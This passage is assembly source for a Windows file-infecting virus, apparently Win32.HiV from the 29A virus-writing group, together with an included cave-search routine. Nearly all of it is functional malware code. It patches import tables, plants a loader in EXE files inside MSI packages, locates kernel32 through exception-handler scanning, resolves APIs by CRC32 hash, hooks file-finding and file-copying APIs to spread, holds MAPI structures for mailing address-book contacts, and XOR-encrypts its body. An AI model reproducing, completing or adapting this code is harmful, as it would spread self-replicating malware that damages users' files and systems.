popad ;restore all registers
mov byte ptr [esi-1],0E9h ;build JMP or CALL
j_or_c = byte ptr $-1
mov ebx,[esi+1]
mov eax,[esp.cPushad+10h] ;get address
add eax,[ebp + gmh - itDelta]
sub eax,esi ;- current address
sub eax,4 ;+1-5
mov [esi],eax ;store built jmp instruction
mov byte ptr [esi+4],90h
xchg eax,ebx
jmp endIT ;and quit
lJMP: dec ecx
jecxz endPIT-1
jmp sJMP ;search in a loop
popad ;restore all registers
endPIT: xor eax,eax
mov [esp.Pushad_eax+8],eax
endIT: @SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret 8 ;and quit
patch_IT EndP
;this procedure can converting RVAs to RAW pointers
rva2raw:pushad ;store all registers
mov ecx,12345678h ;0 if actual host program
r2rp = dword ptr $-4
jecxz nr2r
mov edx,[esp.cPushad+4]
movzx ecx,word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
movzx esi,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea esi,[esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
n_r2r: mov edi,[esi.SH_VirtualAddress] ;search inside section
add edi,[esi.SH_VirtualSize] ;headerz for matches
cmp edx,edi
jb c_r2r
add esi,IMAGE_SIZEOF_SECTION_HEADER
loop n_r2r
popad ;restore all registers
ret ;and quit
nr2r: add [esp.cPushad+4],eax
popad ;restore all registers
ret ;and quit
c_r2r: add eax,[esi.SH_PointerToRawData] ;correct RVA to RAW pointer
add eax,edx
sub eax,[esi.SH_VirtualAddress]
mov [esp.cPushad+4],eax ;save it
popad
ret
;this procedure can open file - used in resident mode
;input: EBX - filename to open
resCreate_FileA Proc
and dword ptr [ebp + cfa_patch - gd],0
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
db 6ah ;PUSH SHORT
cfa_flagz db OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push ebx
call [ebp + a_CreateFileA - gd]
mov [ebp + cfa_patch - gd],ebp
ret
resCreate_FileA EndP
;this procedure can open file - used in non-resident mode
;input: EBX - filename to open
Create_FileA Proc
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_ALWAYS
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push ebx
call [ebp + a_CreateFileA - gdelta]
ret
Create_FileA EndP
;this procedure can create file mapping object - used in non-resident mode
;input: EAX - opened handle of file
Create_FileMappingA Proc
cdq
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + a_CreateFileMappingA - gdelta]
ret
Create_FileMappingA EndP
;this procedure can map view of file - used in non-resident mode
;input: ECX - opened handle of file mapping object
Map_ViewOfFile Proc
push 0
push 0
push 0
push FILE_MAP_WRITE
push ecx
call [ebp + a_MapViewOfFile - gdelta]
ret
Map_ViewOfFile EndP
;this procedure can convert number to ASCII decimal format
;input: EAX - number
;output: [EDI] - stored ASCII number
Num2Ascii Proc
push esi
push edi
lea edi,[ebp + dec_buff - gdelta]
push 10
pop ecx
g_str: xor edx,edx
div ecx
add edx,'0'
xchg eax,edx
stosb
xchg eax,edx
test eax,eax
jne g_str
pop esi
xchg esi,edi
dec esi
cpy_num:std
lodsb
cld
stosb
cmp al,11h
jne cpy_num
dec edi
xor al,al
stosb
pop esi
ret
Num2Ascii EndP
;this is MSI loader - virus places this procedure into EXE files inside MSIs
msi_start Proc
pushad
call mdelta
mdelta: pop ebp ;get delta offset
call get_base ;get base of K32
test eax,eax
je end_msi
push eax
call crc32m1
dd 04134D1ADh ;LoadLibraryA
dd 0AFDF191Fh ;FreeLibrary
dd 0FFC97C1Fh ;GetProcAddress
crc32m1:pop esi
call get_api ;get addresses of these APIs
xchg eax,ecx
pop eax
test ecx,ecx
je end_msi
push eax
add esi,4
call get_api ;...
xchg eax,edi
test edi,edi
pop eax
je end_msi
add esi,4
push eax
call get_api ;...
xchg eax,edx
test edx,edx
pop eax
je end_msi
push edx
@pushsz 'USER32'
call ecx ;load USER32.DLL library
xchg eax,esi
test esi,esi
pop edx
je end_msi
@pushsz 'MessageBoxA'
push esi
call edx ;get address of MessageBoxA API
xchg eax,ecx
test ecx,ecx
je freelib
push 1000h
@pushsz '[Win32.HiV] by Benny/29A'
szTitle:call szMsg
p_msg: db 'This cell has been infected by HIV virus, generation: '
gcount: db '0000000000',0
szMsg: push 0
call ecx ;show lame message :)
freelib:push esi
call edi ;unload USER32.DLL
end_msi:popad
mov eax,offset ExitProcess
msi_entrypoint = dword ptr $-4
jmp eax ;and quit to host
;this procedure can get base address of K32
get_base Proc
push ebp ;store EBP
call gdlt ;get delta offset
gdlt: pop ebp ;to EBP
mov eax,12345678h ;get lastly used address
last_kern = dword ptr $-4
call check_kern ;is this address valid?
jecxz end_gb ;yeah, we got the address
call gb_table ;jump over the address table
dd 077E00000h ;NT/W2k
dd 077E80000h ;NT/W2k
dd 077ED0000h ;NT/W2k
dd 077F00000h ;NT/W2k
dd 0BFF70000h ;95/98
gb_table:
pop edi ;get pointer to address table
push 4 ;get number of items in the table
pop esi ;to ESI
gbloop: mov eax,[edi+esi*4] ;get item
call check_kern ;is address valid?
jecxz end_gb ;yeah, we got the valid address
dec esi ;decrement ESI
test esi,esi ;end of table?
jne gbloop ;nope, try next item
call scan_kern ;scan the address space for K32
end_gb: pop ebp ;restore EBP
ret ;quit
check_kern: ;check if K32 address is valid
mov ecx,eax ;make ECX != 0
pushad ;store all registers
@SEH_SetupFrame <jmp end_ck> ;setup SEH frame
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne end_ck ;nope
mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
add ebx,eax ;normalize it
mov ebx,[ebx] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne end_ck ;nope
xor ecx,ecx ;we got K32 base address
mov [ebp + last_kern - gdlt],eax ;save K32 base address
end_ck: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_ecx],ecx ;save ECX
popad ;restore all registers
ret ;if ECX == 0, address was found
SEH_hndlr macro ;macro for SEH
@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page
jmp bck ;continue execution
endm
scan_kern: ;scan address space for K32
bck: pushad ;store all registers
@SEH_SetupFrame <SEH_hndlr> ;setup SEH frame
mov eax,077000000h ;starting/last address
bAddr = dword ptr $-4
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne pg_flt ;nope
mov edi,[eax.MZ_lfanew] ;get pointer to PE header
add edi,eax ;normalize it
mov ebx,[edi] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne pg_flt ;nope
mov ebx,eax
mov esi,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add esi,[ebx.ED_Name]
mov esi,[esi]
add esi,-'NREK'
je end_sk
pg_flt: xor ecx,ecx ;we got K32 base address
mov [ecx],esi ;generate PAGE FAULT! search again...
end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address
@SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save EAX - K32 base
popad ;restore all registers
ret
get_base EndP
;this procedure can retrieve address of given API
get_api Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_gpa>;setup SEH frame
mov edi,[eax.MZ_lfanew] ;move to PE header
add edi,eax ;...
mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz end_gpa ;quit if no exports
mov ebx,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
mov edx,eax ;get address of export table
add edx,[ebx.ED_AddressOfNames] ;address of API names
mov ecx,[ebx.ED_NumberOfNames] ;number of API names
mov edi,edx
push dword ptr [esi] ;save CRC32 to stack
mov ebp,eax
xor eax,eax
APIname:push eax
mov esi,ebp ;get base
add esi,[edx+eax*4] ;move to API name
push esi ;save address
@endsz ;go to the end of string
sub esi,[esp] ;get string size
mov edi,esi ;move it to EDI
pop esi ;restore address of API name
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp+4] ;is it right API?
pop eax
je g_name ;yeah, we got it
inc eax ;increment counter
loop APIname ;and search for next API name
pop eax
end_gpa:xor eax, eax ;set flag
ok_gpa: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save value to stack
popad ;restore all registers
ret ;quit from procedure
g_name: pop edx
mov edx,ebp
add edx,[ebx.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2]
cmp eax,[ebx.ED_NumberOfFunctions]
jae end_gpa-1
mov edx,ebp ;base of K32
add edx,[ebx.ED_AddressOfFunctions] ;address of API functions
add ebp,[edx+eax*4] ;get API function address
xchg eax,ebp ;we got address of API in EAX
jmp ok_gpa ;quit
get_api EndP
CRC32: push ecx ;procedure for calculating CRC32s
push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
msi_end:
msi_start EndP
;CRC32s of APIz
crc32s: dd 0DCF6E06Ch ;GetEnvironmentVariableA
dd 033D350C4h ;OpenProcess
dd 068624A9Dh ;CloseHandle
dd 019F33607h ;CreateThread
dd 079C3D4BBh ;VirtualProtect
dd 0FFC97C1Fh ;GetProcAddress
dd 04A27089Fh ;ReadProcessMemory
dd 00E9BBAD5h ;WriteProcessMemory
dd 056E1B657h ;VirtualProtectEx
dd 0D4AFA114h ;VirtualQueryEx
dd 04402890Eh ;VirtualAlloc
dd 02AAD1211h ;VirtualFree
dd 0DA89FC22h ;VirtualAllocEx
dd 03C19E536h ;SetFileAttributesA
dd 08C892DDFh ;CreateFileA
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnmapViewOfFile
dd 085859D42h ;SetFilePointer
dd 059994ED6h ;SetEndOfFile
dd 04B2A3E7Dh ;SetFileTime
dd 0CC09D51Eh ;DeviceIoControl
dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 0C200BE21h ;FindClose
dd 04134D1ADh ;LoadLibraryA
dd 0AFDF191Fh ;FreeLibrary
dd 021777793h ;WriteFile
dd 0DE256FDEh ;DeleteFileA
dd 004DCF392h ;GetModuleFileNameA
dd 082B618D4h ;GetModuleHandleA
dd 052E3BEB1h ;IsDebuggerPresent
dd 0EF7D811Bh ;GetFileSize
dd 054D8615Ah ;ReadFile
crc32c = ($-crc32s)/4 ;number of APIz
;CRC32s of APIz for hooking
crcRes: dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 05BD05DB1h ;CopyFileA
dd 02308923Fh ;MoveFileA
dd 08C892DDFh ;CreateFileA
crcResCount = ($-crcRes)/4
;pointerz to pointerz to APIz in memory
posRes: dd offset posFindFirstFileA
dd offset posFindNextFileA
dd offset posCopyFileA
dd offset posMoveFileA
dd offset posCreateFileA
;pointerz to API hookerz
newRes: dd offset newFindFirstFileA-Start
dd offset newFindNextFileA-Start
dd offset newCopyFileA-Start
dd offset newMoveFileA-Start
dd offset newCreateFileA-Start
;pointerz to memory where will be saved 5 original bytes of APIz
oldRes: dd offset oldFindFirstFileA
dd offset oldFindNextFileA
dd offset oldCopyFileA
dd offset oldMoveFileA
dd offset oldCreateFileA
db 11h
end_virus: ;end of virus in file
dec_buff db 10 dup (?)
align 4
a_apis: ;addresses of APIs
a_GetEnvironmentVariableA dd ?
a_OpenProcess dd ?
a_CloseHandle dd ?
a_CreateThread dd ?
a_VirtualProtect dd ?
a_GetProcAddress dd ?
a_ReadProcessMemory dd ?
a_WriteProcessMemory dd ?
a_VirtualProtectEx dd ?
a_VirtualQueryEx dd ?
a_VirtualAlloc dd ?
a_VirtualFree dd ?
a_VirtualAllocEx dd ?
a_SetFileAttributesA dd ?
a_CreateFileA dd ?
a_CreateFileMappingA dd ?
a_MapViewOfFile dd ?
a_UnmapViewOfFile dd ?
a_SetFilePointer dd ?
a_SetEndOfFile dd ?
a_SetFileTime dd ?
a_DeviceIoControl dd ?
a_FindFirstFileA dd ?
a_FindNextFileA dd ?
a_FindClose dd ?
a_LoadLibraryA dd ?
a_FreeLibrary dd ?
a_WriteFile dd ?
a_DeleteFileA dd ?
a_GetModuleFileNameA dd ?
a_GetModuleHandleA dd ?
a_IsDebuggerPresent dd ?
a_GetFileSize dd ?
a_ReadFile dd ?
WFD WIN32_FIND_DATA ? ;WIN32_FIND_DATA structure
mbi: dd ? ;MEMORY_BASIC_INFORMATION
dd ? ;structure needed by
dd ? ;VirtualQueryEx API
reg_size dd ? ;number of pages with same rights*size of one page
reg_state dd ? ;state of page(s)
dd ?
dd ?
mbi_size = dword ptr $-mbi
reg_buffer db MAX_PATH dup (?);some bufferz with multiply
wab_buffer db MAX_PATH dup (?);usage
MAPIMessage dd 12 dup (?) ;MAPI message
MsgFrom dd 6 dup (?) ;Sender structure
MsgTo dd 5*6 dup (?) ;Recipient structure
MAPIFileDesc dd 6 dup (?) ;Attachment structure
mails db 22h*5 dup (?) ;space for 5 mail addresses
;extracted from address book
virtual_end: ;end of virus in memory
.code ;first generation code
FirstGeneration:
pushad ;encrypt virus body
mov esi,offset encrypted
mov edi,esi
mov ecx,(end_virus-encrypted+3)/4
encrypt:lodsd
xor eax,12345678h ;encrypt virus
stosd
loop encrypt
popad
enter 0,0 ;prolog of procedure
push ebx
push esi
push edi
E_EPO: jmp Start ;jump to virus code
;(will be overwritten by
;procedure's epilog)
;size of virus raw data
db 0dh,0ah,'Virus size in file: '
db '0'+((end_virus-Start)/1000) mod 10
db '0'+((end_virus-Start)/100) mod 10
db '0'+((end_virus-Start)/10) mod 10
db '0'+((end_virus-Start)/1) mod 10
;virtual size of virus
db 0dh,0ah,'Virus size in memory: '
db '0'+((virtual_end-Start)/1000) mod 10
db '0'+((virtual_end-Start)/100) mod 10
db '0'+((virtual_end-Start)/10) mod 10
db '0'+((virtual_end-Start)/1) mod 10
db 0dh,0ah
ends ;end of first generation code
End FirstGeneration ;end of everything :)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HIV.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CSE.INC]ÄÄÄ
;-----------------------------------------------------------------------------
; Cavity search engine Benny and Darkman of 29A
;
; Calling parameters:
; ECX = size of search area
; ESI = pointer to search area
;
; Return parameters:
; ESI = pointer to cave
;
; Changed registers:
; EAX, EBX, ECX, EDX, ESI
CSE: pushad
lodsb ; AL = byte within search area
reset_cavity_loop:
xchg eax,ebx ; BL = " " " "
xor edx,edx ; Zero EDX
dec ecx ; Decrease counter
jecxz no_cave_found ; Zero ECX? Jump to no_cave_found
find_cave_loop:
lodsb ; AL = byte within search area
cmp al,bl ; Current byte equal to previous byte?
jne reset_cavity_loop ; Not equal? Jump to reset_cavity_loop
inc edx ; Increase number of bytes found in
; cave
cmp edx,msi_end-msi_start ; Found a cave large enough?
jne find_cave_loop ; Not equal? Jump to find_cave_loop
sub esi,msi_end-msi_start ; ESI = pointer to cave
mov [esp.Pushad_esi],esi
popad
;-----------------------------------------------------------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CSE.INC]ÄÄÄ